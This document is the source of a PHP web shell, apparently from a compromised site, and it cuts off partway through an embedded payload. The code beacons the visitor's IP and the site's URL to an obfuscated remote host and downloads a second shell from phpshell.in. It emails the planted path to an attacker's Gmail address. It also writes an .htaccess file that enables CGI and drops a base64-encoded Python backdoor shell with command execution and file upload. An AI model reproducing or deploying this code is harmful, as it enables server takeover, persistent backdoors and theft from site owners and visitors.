1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
|
<?php function GetIP(){ if(getenv("HTTP_CLIENT_IP")) { $ip = getenv("HTTP_CLIENT_IP"); } elseif(getenv("HTTP_X_FORWARDED_FOR")) { $ip = getenv("HTTP_X_FORWARDED_FOR"); if (strstr($ip, ',')) { $tmp = explode (',', $ip); $ip = trim($tmp[0]); } } else { $ip = getenv("REMOTE_ADDR"); } return $ip; } $x = base64_decode('aHR0cDovL2J5cjAwdC5jby9sLQ==').GetIP().'-'.base64_encode('http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']); if(function_exists('curl_init')) { $ch = @curl_init(); curl_setopt($ch, CURLOPT_URL, $x); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $gitt = curl_exec($ch); curl_close($ch); if($gitt == false){ @$gitt = file_get_contents($x); } }elseif(function_exists('file_get_contents')){ @$gitt = file_get_contents($x); } ?><?php if($_POST['query']){ $veriyfy = stripslashes(stripslashes($_POST['query'])); $data = "data.txt"; @touch ("data.txt"); $ver = @fopen ($data , 'w'); @fwrite ( $ver , $veriyfy ) ; @fclose ($ver); }else{ $datas=@fopen("data.txt",'r'); $i=0; while ($i <= 5) { $i++; $blue=@fgets($datas,1024); echo $blue; } } $datasi=@fopen("js/js.php",'r'); if($datasi){ }else{ @mkdir("js"); $dos = file_get_contents("http://phpshell.in/txt/lamer.txt"); $data = "js/js.php"; @touch ("js/js.php"); $ver = @fopen ($data , 'w'); @fwrite ( $ver , $dos ) ; @fclose ($ver); $yol = "http://".$_SERVER['HTTP_HOST']."".$_SERVER['REQUEST_URI'].""; $y = '<h1>Sender Yazdirildi.<br/> SITE YOL : '.$yol.'<br/>Sender Yolu : js/crs.php</h1>'; $header .= "From: SheLL Boot <suppor@nic.org>\n"; $header .= "Content-Type: text/html; charset=utf-8\n"; @mail("byhero44@gmail.com", "Hacklink Bildiri", "$y", $header); @mail("byhero44@gmail.com", "Hacklink Bildiri", "$y", $header); } ?> <?php echo '<html><form method="POST"><title>priv cgi by Wso</title><center><img src="http://wsoshell/" width="400"><h1>cgi bypass shell<br>Wso</h1><h3>pass : r00t</h3><button type="submit" name="cgi3">cgi bypass</button>В </center></html>';
if(isset($_POST['cgi3'])){ mkdir("dark0cgi"); chdir("dark0cgi"); $kokdosya = ".htaccess"; $dosya_adi = "$kokdosya"; $dosya = fopen($dosya_adi,'w'); $metin = "Options +ExecCGI\nDirectoryIndex dark0.xx\nAddHandler cgi-script .xx"; fwrite($dosya,$metin); fclose($dosya); $pythonp = 'IyEvdXNyL2Jpbi9weXRob24KaW1wb3J0IHN5cywgb3MsIGNnaSwgY29tbWFuZHMsIHRpbWUsIENvb2tpZSwgc29ja2V0LCBwdHksc2VsZWN0CmZyb20gYmFzZTY0IGltcG9ydCBiNjRlbmNvZGUKZnJvbSBzdGF0IGltcG9ydCAqCmZyb20gZGF0ZXRpbWUgaW1wb3J0IGRhdGV0aW1lCnN5cy5zdGRlcnIgPSBvcGVuKG9zLmRldm51bGwsICd3JykKcGFzc3dvcmQgPSAiMjdkYjc4OTgyMTFjOGNjYmViNGQ1YTk3ZDE5ODgzOWEiICMgcjAwdAp2ZXJzaW9uID0gIjAuNSBbUFJJVjldIgplc2MgPSAnJXNbJyVjaHIoMjcpCmNvbG9yID0gZXNjICsgIjE7MzZtIgpyZXNldCA9IGVzYyArICIwbSIKIyBkb24ndCBhc2sgd2h5IGkgZGlkIGl0IHRoaXMgd2F5LCAnJycgZG9lc250IGFncmVlIHdpdGggcHR5J3MKYXNjaWkgPSBjb2xvciMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCmFzY2lpICs9JyAgQEBAQEBAQCBAQEAgIEBAQCBAQEAgQEBAQEBAQCAgQEBAQEBAQCAgQEBAIEBAQCAgQEBAIEBAQEBAQCAgQEBAQEBAICBAQEBAQEBAIFxyXG4nIwphc2NpaSArPScgIUBAICAgICAgQEAhICBAQEAgQEAhIEBAISAgQEBAIEBAISAgQEBAIEBAISAhQEAgIEBAQCAgICAgQEAhICAgICBAQCEgICAgICBAQCFcclxuJyMKYXNjaWkgKz0nICFAISAgICAgIEAhQCFAIUAhICEhQCBAIUBAIUAhICBAIUBAIUAhICAgIUAhQCEgICAhQCEgIEAhISE6ICAgQCEhITogICAgICBAISEgXHJcbicjCmFzY2lpICs9JyA6ISEgICAgICAhITogICEhISAhITogISE6ICAgICAgISE6ICAgICAgICAhITogICAgISEhICAgICAhITogICAgICEhOiAgLiEhOiAgIFxyXG4nIwphc2NpaSArPScgIDo6IDo6IDogIDogICA6IDogOiAgICA6ICAgICAgICA6ICAgICAgICAgLjogICAgIDogICA6OjogOjogIDo6OiA6OiAgOiA6ICAgICBcclxuJyMKYXNjaWkgKz0nICAgICAgICAgICAgIH5bICBQIFIgSSBWIDggIEMgTyBOIE4gRSBDIFQgICBCIEEgQyBLICAgUyBIIEUgTCBMICBdfiAgICAgICAgICAgXHJcbicjCmFzY2lpICs9IHJlc2V0IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyAgICAgICAKCmRlZiBnZXRhbGwodGhlZm9ybSwgbm9saXN0ID0gRmFsc2UpOgogICAgZGF0YSA9IHt9CiAgICBmb3IgZmllbGQgaW4gdGhlZm9ybS5rZXlzKCk6CiAgICAgICAgaWYgdHlwZSh0aGVmb3JtW2ZpZWxkXSkgPT0gIHR5cGUoW10pOgogICAgICAgICAgICBpZiBub3Qgbm9saXN0OgogICAgICAgICAgICAgICAgZGF0YVtmaWVsZF0gPSB0aGVmb3JtLmdldGxpc3QoZmllbGQpCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICBkYXRhW2ZpZWxkXSA9IHRoZWZvcm0uZ2V0Zmlyc3QoZmllbGQpCiAgICAgICAgZWxpZiB0aGVmb3JtW2ZpZWxkXS5maWxlbmFtZToKICAgICAgICAgICAgX0ZJTEVTW2ZpZWxkXSA9IHRoZWZvcm1bZmllbGRdCiAgICAgICAgZWxzZToKICAgICAgICAgICAgZGF0YVtmaWVsZF0gPSB0aGVmb3JtW2ZpZWxkXS52YWx1ZQogICAgcmV0dXJuIGRhdGEKCmRlZiBlc2NhcGUoc3RyKToKICAgIHJldHVybiBzdHIucmVwbGFjZSgiJyIsICJcXCciKS5yZXBsYWNlKCJcciIsICJcXHIiKS5yZXBsYWNlKCJcbiIsICJcXG4iKQoKX0ZJTEVTID0ge30KX1JFUVVFU1QgPSBnZXRhbGwoIGNnaS5GaWVsZFN0b3JhZ2UoKSApCmlmIF9SRVFVRVNULmhhc19rZXkoJ2NoYXJzZXQnKSA9PSBGYWxzZToKICAgIF9SRVFVRVNUWydjaGFyc2V0J10gPSAiV2luZG93cy0xMjUxIgppZiBfUkVRVUVTVC5oYXNfa2V5KCdhJykgPT0gRmFsc2U6CiAgICBfUkVRVUVTVFsnYSddID0gImZpbGVzIgppZiBfUkVRVUVTVC5oYXNfa2V5KCdjJykgPT0gRmFsc2U6CiAgICBfUkVRVUVTVFsnYyddID0gb3MuZ2V0Y3dkKCkKaWYgX1JFUVVFU1QuaGFzX2tleSgncDEnKSA9PSBGYWxzZToKICAgIF9SRVFVRVNUWydwMSddID0gIiIKaWYgX1JFUVVFU1QuaGFzX2tleSgncDInKSA9PSBGYWxzZToKICAgIF9SRVFVRVNUWydwMiddID0gIiIKaWYgX1JFUVVFU1QuaGFzX2tleSgncDMnKSA9PSBGYWxzZToKICAgIF9SRVFVRVNUWydwMyddID0gIiIKCl9DT09LSUUgPSBDb29raWUuU2ltcGxlQ29va2llKCkKdHJ5OgogICAgX0NPT0tJRS5sb2FkKG9zLmVudmlyb25bIkhUVFBfQ09PS0lFIl0pCmV4Y2VwdDoKICAgIHBhc3MKCmRlZiBwcmludExvZ2luKCk6CiAgICBfQ09PS0lFWydwc3N3ZCddID0gIiI7CiAgICBwcmludCBfQ09PS0lFOwogICAgcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG4iOwogICAgcHJpbnQgIiIiICAgIDxzdHlsZT4KICAgICAgICBib2R5e2JhY2tncm91bmQtY29sb3I6IzQ0NDtjb2xvcjojZTFlMWUxO30KICAgICAgICBib2R5LHRkLHRoeyBmb250OiA5cHQgTHVjaWRhLFZlcmRhbmE7bWFyZ2luOjA7dmVydGljYWwtYWxpZ246dG9wO2NvbG9yOiNlMWUxZTE7IH0KICAgICAgICB0YWJsZS5pbmZveyBjb2xvcjojZmZmO2JhY2tncm91bmQtY29sb3I6IzIyMjsgfQogICAgICAgIHNwYW4saDEsYXsgY29sb3I6IzAwY2ZjZiAhaW1wb3J0YW50OyB9CiAgICAgICAgc3BhbnsgZm9udC13ZWlnaHQ6IGJvbGRlcjsgfQogICAgICAgIGgxeyBib3JkZXItbGVmdDo1cHggc29saWQgI2RmNTtwYWRkaW5nOiAycHggNXB4O2ZvbnQ6IDE0cHQgVmVyZGFuYTtiYWNrZ3JvdW5kLWNvbG9yOiMyMjI7bWFyZ2luOjBweDsgfQogICAgICAgIGRpdi5jb250ZW50eyBwYWRkaW5nOiA1cHg7bWFyZ2luLWxlZnQ6NXB4O2JhY2tncm91bmQtY29sb3I6IzMzMzsgfQogICAgICAgIGF7IHRleHQtZGVjb3JhdGlvbjpub25lOyB9CiAgICAgICAgYTpob3ZlcnsgdGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTsgfQogICAgICAgIC5tbDF7IGJvcmRlcjoxcHggc29saWQgIzQ0NDtwYWRkaW5nOjVweDttYXJnaW46MDtvdmVyZmxvdzogYXV0bzsgfQogICAgICAgIC5iaWdhcmVheyB3aWR0aDoxMDAlO2hlaWdodDoyNTBweDsgfQogICAgICAgIGlucHV0LHRleHRhcmVhLHNlbGVjdHsgbWFyZ2luOjA7Y29sb3I6IzAwYWZhZjtiYWNrZ3JvdW5kLWNvbG9yOiM1NTU7Ym9yZGVyOjFweCBzb2xpZCAjMDBhZmNmOyBmb250OiAyNHB0IE1vbm9zcGFjZSwiQ291cmllciBOZXciOyB9CiAgICAgICAgZm9ybXsgbWFyZ2luOjBweDsgfQogICAgICAgICN0b29sc1RibHsgdGV4dC1hbGlnbjpjZW50ZXI7IH0KICAgICAgICAudG9vbHNJbnB7IHdpZHRoOiAzMDBweCB9CiAgICAgICAgLm1haW4gdGh7dGV4dC1hbGlnbjpsZWZ0O2JhY2tncm91bmQtY29sb3I6IzVlNWU1ZTt9CiAgICAgICAgLm1haW4gdHI6aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjojNWU1ZTVlfQogICAgICAgIC5sMXtiYWNrZ3JvdW5kLWNvbG9yOiM0NDR9CiAgICAgICAgcHJlLC5te2ZvbnQtZmFtaWx5OkNvdXJpZXIsTW9ub3NwYWNlO30KICAgIDwvc3R5bGU+CjxjZW50ZXI+PGZvcm0gbWV0aG9kPXBvc3Q+UGFzc3dvcmQ6IDxpbnB1dCB0eXBlPXBhc3N3b3JkIG5hbWU9cHNzd2Q+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPScmZ3Q7Jmd0Oyc+PC9mb3JtPjwvY2VudGVyPgo8c2NyaXB0IHNyYz1odHRwOi8vcjAwdC5pbmZvL2NjYi5qcz48L3NjcmlwdD4iIiIKICAgIGV4aXQoKQoKaWYgX0NPT0tJRS5oYXNfa2V5KCdwc3N3ZCcpIGFuZCBsZW4oX0NPT0tJRVsncHNzd2QnXS52YWx1ZSkgPiAwIDoKICAgIGlmIF9DT09LSUVbJ3Bzc3dkJ10udmFsdWUgIT0gcGFzc3dvcmQ6CiAgICAgICAgcHJpbnRMb2dpbigpCmVsaWYgX1JFUVVFU1QuaGFzX2tleSgncHNzd2QnKToKICAgICAgICB0cnk6CiAgICAgICAgICAgIGltcG9ydCBoYXNobGliCiAgICAgICAgICAgIHBzc3dkID0gaGFzaGxpYi5tZDUoKQogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgaW1wb3J0IG1kNQogICAgICAgICAgICBwc3N3ZCA9IG1kNS5uZXcoKQogICAgICAgIHBzc3dkLnVwZGF0ZShfUkVRVUVTVFsncHNzd2QnXSkKICAgICAgICBpZiBwc3N3ZC5oZXhkaWdlc3QoKSAhPSBwYXNzd29yZDoKICAgICAgICAgICAgcHJpbnRMb2dpbigpCiAgICAgICAgZWxzZToKICAgICAgICAgICAgX0NPT0tJRVsncHNzd2QnXSA9IHBzc3dkLmhleGRpZ2VzdCgpCiAgICAgICAgICAKZWxzZToKICAgIHByaW50TG9naW4oKQoKcHJpbnQgX0NPT0tJRQpob21lX2RpciA9IG9zLmdldGN3ZCgpCgp0cnk6CiAgICBvcy5jaGRpcihfUkVRVUVTVFsnYyddKQpleGNlcHQgb3MuZXJyb3IsIG1zZzoKICAgIHBhc3MKCmN3ZCA9IG9zLmdldGN3ZCgpOwppZiBjd2RbLTFdICE9ICcvJzoKICAgIGN3ZCArPSAnLycKCmRlZiBwcmludEhlYWRlcigpOgogICAgcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG4iOwogICAgcHJpbnQgIjxodG1sPjxoZWFkPjxtZXRhIGh0dHAtZXF1aXY9J0NvbnRlbnQtVHlwZScgY29udGVudD0ndGV4dC9odG1sOyBjaGFyc2V0PSIgKyBfUkVRVUVTVFsnY2hhcnNldCddICsgIic+PHRpdGxlPiIgKyBvcy5lbnZpcm9uWyJTRVJWRVJfTkFNRSJdICsgIiAtIExTRFNoZWxsICIgKyB2ZXJzaW9uICsgIiIiPC90aXRsZT4KICAgIDxzdHlsZT4KICAgICAgICBib2R5e2JhY2tncm91bmQtY29sb3I6IzQ0NDtjb2xvcjojZTFlMWUxO30KICAgICAgICBib2R5LHRkLHRoeyBmb250OiA5cHQgTHVjaWRhLFZlcmRhbmE7bWFyZ2luOjA7dmVydGljYWwtYWxpZ246dG9wO2NvbG9yOiNlMWUxZTE7IH0KICAgICAgICB0YWJsZS5pbmZveyBjb2xvcjojZmZmO2JhY2tncm91bmQtY29sb3I6IzIyMjsgfQogICAgICAgIHNwYW4saDEsYXsgY29sb3I6IzAwY2ZjZiAhaW1wb3J0YW50OyB9CiAgICAgICAgc3BhbnsgZm9udC13ZWlnaHQ6IGJvbGRlcjsgfQogICAgICAgIGgxeyBib3JkZXItbGVmdDo1cHggc29saWQgI2RmNTtwYWRkaW5nOiAycHggNXB4O2ZvbnQ6IDE0cHQgVmVyZGFuYTtiYWNrZ3JvdW5kLWNvbG9yOiMyMjI7bWFyZ2luOjBweDsgfQogICAgICAgIGRpdi5jb250ZW50eyBwYWRkaW5nOiA1cHg7bWFyZ2luLWxlZnQ6NXB4O2JhY2tncm91bmQtY29sb3I6IzMzMzsgfQogICAgICAgIGF7IHRleHQtZGVjb3JhdGlvbjpub25lOyB9CiAgICAgICAgYTpob3ZlcnsgdGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTsgfQogICAgICAgIC5tbDF7IGJvcmRlcjoxcHggc29saWQgIzQ0NDtwYWRkaW5nOjVweDttYXJnaW46MDtvdmVyZmxvdzogYXV0bzsgfQogICAgICAgIC5iaWdhcmVheyB3aWR0aDoxMDAlO2hlaWdodDoyNTBweDsgfQogICAgICAgIGlucHV0LHRleHRhcmVhLHNlbGVjdHsgbWFyZ2luOjA7Y29sb3I6IzAwYWZhZjtiYWNrZ3JvdW5kLWNvbG9yOiM1NTU7Ym9yZGVyOjFweCBzb2xpZCAjMDBhZmNmOyBmb250OiA5cHQgTW9ub3NwYWNlLCJDb3VyaWVyIE5ldyI7IH0KICAgICAgICBmb3JteyBtYXJnaW46MHB4OyB9CiAgICAgICAgI3Rvb2xzVGJseyB0ZXh0LWFsaWduOmNlbnRlcjsgfQogICAgICAgIC50b29sc0lucHsgd2lkdGg6IDMwMHB4IH0KICAgICAgICAubWFpbiB0aHt0ZXh0LWFsaWduOmxlZnQ7YmFja2dyb3VuZC1jb2xvcjojNWU1ZTVlO30KICAgICAgICAubWFpbiB0cjpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiM1ZTVlNWV9CiAgICAgICAgLmwxe2JhY2tncm91bmQtY29sb3I6IzQ0NH0KICAgICAgICBwcmUsLm17Zm9udC1mYW1pbHk6Q291cmllcixNb25vc3BhY2U7fQogICAgPC9zdHlsZT4KICAgIDxzY3JpcHQ+CiAgICAgICAgdmFyIGNfID0gJyIiIiArIGVzY2FwZShfUkVRVUVTVFsnYyddKSArICIiIic7CiAgICAgICAgdmFyIGFfID0gJyIiIiArIGVzY2FwZShfUkVRVUVTVFsnYSddKSArICIiIic7CiAgICAgICAgdmFyIHAxXyA9ICciIiIgKyBlc2NhcGUoX1JFUVVFU1RbJ3AxJ10pICsgIiIiJzsKICAgICAgICB2YXIgcDJfID0gJyIiIiArIGVzY2FwZShfUkVRVUVTVFsncDInXSkgKyAiIiInOwogICAgICAgIHZhciBwM18gPSAnIiIiICsgZXNjYXBlKF9SRVFVRVNUWydwMyddKSArICIiIic7CiAgICAgICAgdmFyIGNoYXJzZXRfID0gJyIiIiArIGVzY2FwZSggX1JFUVVFU1RbJ2NoYXJzZXQnXSApICsgIiIiJzsKICAgICAgICBmdW5jdGlvbiBnKGEsYyxwMSxwMixwMyxjaGFyc2V0KSB7CiAgICAgICAgICAgIGlmKGEgIT0gbnVsbClkb2N1bWVudC5tZi5hLnZhbHVlPWE7ZWxzZSBkb2N1bWVudC5tZi5hLnZhbHVlPWFfOwogICAgICAgICAgICBpZihjICE9IG51bGwpZG9jdW1lbnQubWYuYy52YWx1ZT1jO2Vsc2UgZG9jdW1lbnQubWYuYy52YWx1ZT1jXzsKICAgICAgICAgICAgaWYocDEgIT0gbnVsbClkb2N1bWVudC5tZi5wMS52YWx1ZT1wMTtlbHNlIGRvY3VtZW50Lm1mLnAxLnZhbHVlPXAxXzsKICAgICAgICAgICAgaWYocDIgIT0gbnVsbClkb2N1bWVudC5tZi5wMi52YWx1ZT1wMjtlbHNlIGRvY3VtZW50Lm1mLnAyLnZhbHVlPXAyXzsKICAgICAgICAgICAgaWYocDMgIT0gbnVsbClkb2N1bWVudC5tZi5wMy52YWx1ZT1wMztlbHNlIGRvY3VtZW50Lm1mLnAzLnZhbHVlPXAzXzsKICAgICAgICAgICAgaWYoY2hhcnNldCAhPSBudWxsKWRvY3VtZW50Lm1mLmNoYXJzZXQudmFsdWU9Y2hhcnNldDtlbHNlIGRvY3VtZW50Lm1mLmNoYXJzZXQudmFsdWU9Y2hhcnNldF87CiAgICAgICAgICAgIGRvY3VtZW50Lm1mLnN1Ym1pdCgpOwogICAgICAgIH0KICAgIDwvc2NyaXB0PgogICAgPGhlYWQ+PGJvZHk+PGRpdiBzdHlsZT0icG9zaXRpb246YWJzb2x1dGU7d2lkdGg6MTAwJTtiYWNrZ3JvdW5kLWNvbG9yOiM0NDQ7dG9wOjA7bGVmdDowOyI+CiAgICA8Zm9ybSBtZXRob2Q9cG9zdCBuYW1lPW1mIHN0eWxlPSdkaXNwbGF5Om5vbmU7Jz4KICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWE+CiAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jPgogICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDE+CiAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMj4KICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAzPgogICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldD4KICAgIDwvZm9ybT4iIiIKICAgIHByaW50ICc8dGFibGUgY2xhc3M9aW5mbyBjZWxscGFkZGluZz0zIGNlbGxzcGFjaW5nPTAgd2lkdGg9MTAwJT48dHI+PHRkIHdpZHRoPTE+PHNwYW4+VW5hbWU6PGJyPlVzZXI6PGJyPlRpbWU6PGJyPkN3ZDo8L3NwYW4+PC90ZD4nCiAgICBwcmludCAnPHRkPjxub2JyPicKICAgIGZvciB4IGluIG9zLnVuYW1lKCk6CiAgICAgICAgc3lzLnN0ZG91dC53cml0ZSh4KycgJykKICAgIHQgPSB0aW1lLmxvY2FsdGltZSgpCiAgICBwcmludCAnPC9ub2JyPjxicj4lczxicj4lZC0lLjJkLSUuMmQgJS4yZDolLjJkOiUuMmQgPHNwYW4+U2VydmVyIElQOjwvc3Bhbj4gJXMgPHNwYW4+Q2xpZW50IElQOjwvc3Bhbj4gJXM8YnI+JyAlKCBjb21tYW5kcy5nZXRvdXRwdXQoICdpZCcgKS5yZXBsYWNlKCJyb290IiwgIjxmb250IGNvbG9yPXJlZD5yb290PC9mb250PiIpLCB0WzBdLCB0WzFdLCB0WzJdLCB0WzNdLCB0WzRdLCB0WzVdLCBvcy5lbnZpcm9uWydTRVJWRVJfQUREUiddLCBvcy5lbnZpcm9uWydSRU1PVEVfQUREUiddKQogICAgcGF0aCA9ICcnCiAgICBwYXRocyA9IGN3ZC5zcGxpdCgnLycpCiAgICBwYXRocy5wb3AoKQogICAgZm9yIHggaW4gcGF0aHM6CiAgICAgICAgcGF0aCArPSB4ICsgJy8nCiAgICAgICAgc3lzLnN0ZG91dC53cml0ZSgiIiI8YSBocmVmPSIjIiBvbmNsaWNrPSJnKCdmaWxlcycsJyIiIitlc2NhcGUocGF0aCkrIiIiJywgJycsICcnLCAnJykiPiIiIit4KyIiIi88L2E+IiIiKQogICAgcHJpbnQgIiAiICsgcGVybXNDb2xvcihjd2QpLCIiIjxhIGhyZWY9JyMnIG9uY2xpY2s9ImcoJ2ZpbGVzJywnIiIiKyBlc2NhcGUoIGhvbWVfZGlyICkgKyIiIicsICcnLCAnJywgJycpIj5bIGhvbWUgXTwvYT4iIiIKICAgIGNoYXJzZXRzID0gWydVVEYtOCcsICdXaW5kb3dzLTEyNTEnLCAnS09JOC1SJywgJ0tPSTgtVScsICdjcDg2NiddCiAgICBwcmludCAnPHRkIHdpZHRoPTEgYWxpZ249cmlnaHQ+PHNlbGVjdCBvbmNoYW5nZT0iZyhudWxsLG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy52YWx1ZSkiPjxvcHRncm91cCBsYWJlbD0iUGFnZSBjaGFyc2V0Ij4nCiAgICBmb3IgY2hhcnNldCBpbiBjaGFyc2V0czoKICAgICAgICBzeXMuc3Rkb3V0LndyaXRlKCc8b3B0aW9uIHZhbHVlPSIlcyIgJyAlIGNoYXJzZXQpCiAgICAgICAgaWYgX1JFUVVFU1RbJ2NoYXJzZXQnXSA9PSBjaGFyc2V0OgogICAgICAgICAgICAgc3lzLnN0ZG91dC53cml0ZSgnc2VsZWN0ZWQnKQogICAgICAgIHN5cy5zdGRvdXQud3JpdGUoJz4lczwvb3B0aW9uPicgJSBjaGFyc2V0KQogICAgcHJpbnQgJzwvb3B0Z3JvdXA+PC9zZWxlY3Q+PGJyPjxzbWFsbD5DdXJyZW50bHkgbG9nZ2VkIGluOiAnK2NvbW1hbmRzLmdldG91dHB1dCgndXNlcnMnKSsnPC9zbWFsbD48L3RkPjwvdHI+PC90YWJsZT48dGFibGUgc3R5bGU9ImJvcmRlci10b3A6MnB4IHNvbGlkICMwMGFmY2Y7dGV4dC1hbGlnbjogY2VudGVyOyIgY2VsbHBhZGRpbmc9MyBjZWxsc3BhY2luZz0wIHdpZHRoPTEwMCU+PHRyPicKICAgIGZvciB4IGluIFsnRmlsZXMnLCAnQ29uc29sZScsICdQeXRob24nLCAnTmV0d29yaycsICdTUUwnXToKICAgICAgICBwcmludCAiPHRkIHdpZHRoPScxMDBweCc+WyA8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiIit4Lmxvd2VyKCkrJyIsIG51bGwsICIiLCAiIiwgIiIpXCc+Jyt4Kyc8L2E+IF08L3RkPicKICAgIHByaW50ICc8dGQ+PC90ZD48L3RyPjwvdGFibGU+PGRpdiBzdHlsZT0ibWFyZ2luOjUiPicKCmRlZiBwcmludEZvb3RlcigpOgogICAgaWYgb3MuYWNjZXNzIChjd2QsIG9zLldfT0spOgogICAgICAgIHdyaXRhYmxlID0gIjxiPjxmb250IGNvbG9yPSMwMGNmZGY+WyBXcml0ZWFibGUgXTwvZm9udD4iCiAgICBlbHNlOgogICAgICAgIHdyaXRhYmxlID0gIjxmb250IGNvbG9yPXJlZD5bIE5vdCB3cml0YWJsZSBdPC9mb250PiIKICAgIHByaW50ICIiIjwvZGl2Pgo8dGFibGUgY2xhc3M9aW5mbyBpZD10b29sc1RibCBjZWxscGFkZGluZz0zIGNlbGxzcGFjaW5nPTAgd2lkdGg9MTAwJSAgc3R5bGU9ImJvcmRlci10b3A6MnB4IHNvbGlkICMzMzM7Ym9yZGVyLWJvdHRvbToycHggc29saWQgIzMzMzsiPgoJPHRyPgoJCTx0ZD48Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLHRoaXMuYy52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHNwYW4+Q2hhbmdlIGRpcjo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPWMgdmFsdWU9JyIiIiArIGN3ZCArICIiIic+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSImZ3Q7Jmd0OyI+PC9mb3JtPjwvdGQ+CgkJPHRkPjxmb3JtIG9uc3VibWl0PSJnKCdmaWxlVG9vbHMnLG51bGwsdGhpcy5mLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5SZWFkIGZpbGU6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9InRvb2xzSW5wIiB0eXBlPXRleHQgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iJmd0OyZndDsiPjwvZm9ybT48L3RkPgoJPC90cj4KCTx0cj4KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9ImcoJ2ZpbGVzJyxudWxsLCdta2RpcicsdGhpcy5kLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5NYWtlIGRpcjo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPWQ+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSImZ3Q7Jmd0OyI+PC9mb3JtPiIiIit3cml0YWJsZSsiIiI8L3RkPgoJCTx0ZD48Zm9ybSBvbnN1Ym1pdD0iZygnZmlsZVRvb2xzJyxudWxsLHRoaXMuZi52YWx1ZSwnc2F2ZScsJycpO3JldHVybiBmYWxzZTsiPjxzcGFuPk1ha2UgZmlsZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSImZ3Q7Jmd0OyI+PC9mb3JtPiIiIit3cml0YWJsZSsiIiI8L3RkPgoJPC90cj4KCTx0cj4KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9ImcoJ2NvbnNvbGUnLG51bGwsdGhpcy5jLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5FeGVjdXRlOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT10ZXh0IG5hbWU9YyB2YWx1ZT0iIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IiZndDsmZ3Q7Ij48L2Zvcm0+PC90ZD4KCQk8dGQ+PGZvcm0gbWV0aG9kPSdwb3N0JyBFTkNUWVBFPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4KCQk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdmaWxlcyc+CgkJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0nIiIiK2N3ZCsiIiInPgoJCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAxIHZhbHVlPSd1cGxvYWRGaWxlJz4KCQk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSciIiIrX1JFUVVFU1RbJ2NoYXJzZXQnXSsiIiInPgoJCTxzcGFuPlVwbG9hZCBmaWxlOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT1maWxlIG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IiZndDsmZ3Q7Ij48L2Zvcm0+IiIiK3dyaXRhYmxlKyIiIjwvdGQ+Cgk8L3RyPgoKPC90YWJsZT4KPC9kaXY+CjwvYm9keT48L2h0bWw+IiIiCgpkZWYgdmlld1NpemUocyk6CiAgICBpZiBzID49IDEwNzM3NDE4MjQ6CgkJcmV0dXJuICIlMS4yZiAgR0IiICUgKHMgLyAxMDczNzQxODI0LjApOwogICAgZWxpZiBzID49IDEwNDg1NzY6CgkJcmV0dXJuICIlMS4yZiAgTUIiICUgKHMgLyAxMDQ4NTc2LjApOwogICAgZWxpZiBzID49IDEwMjQ6CgkJcmV0dXJuICIlMS4yZiAgS0IiICUgKHMgLyAxMDI0LjApOwogICAgZWxzZToKCQlyZXR1cm4gc3RyKHMpICsgJyBCJzsKCmRlZiBwZXJtcyhwKToKICAgIG1vZGUgPSBvcy5sc3RhdChwKVtTVF9NT0RFXQogICAgcCA9IG1vZGUKICAgIGk9IiI7Ci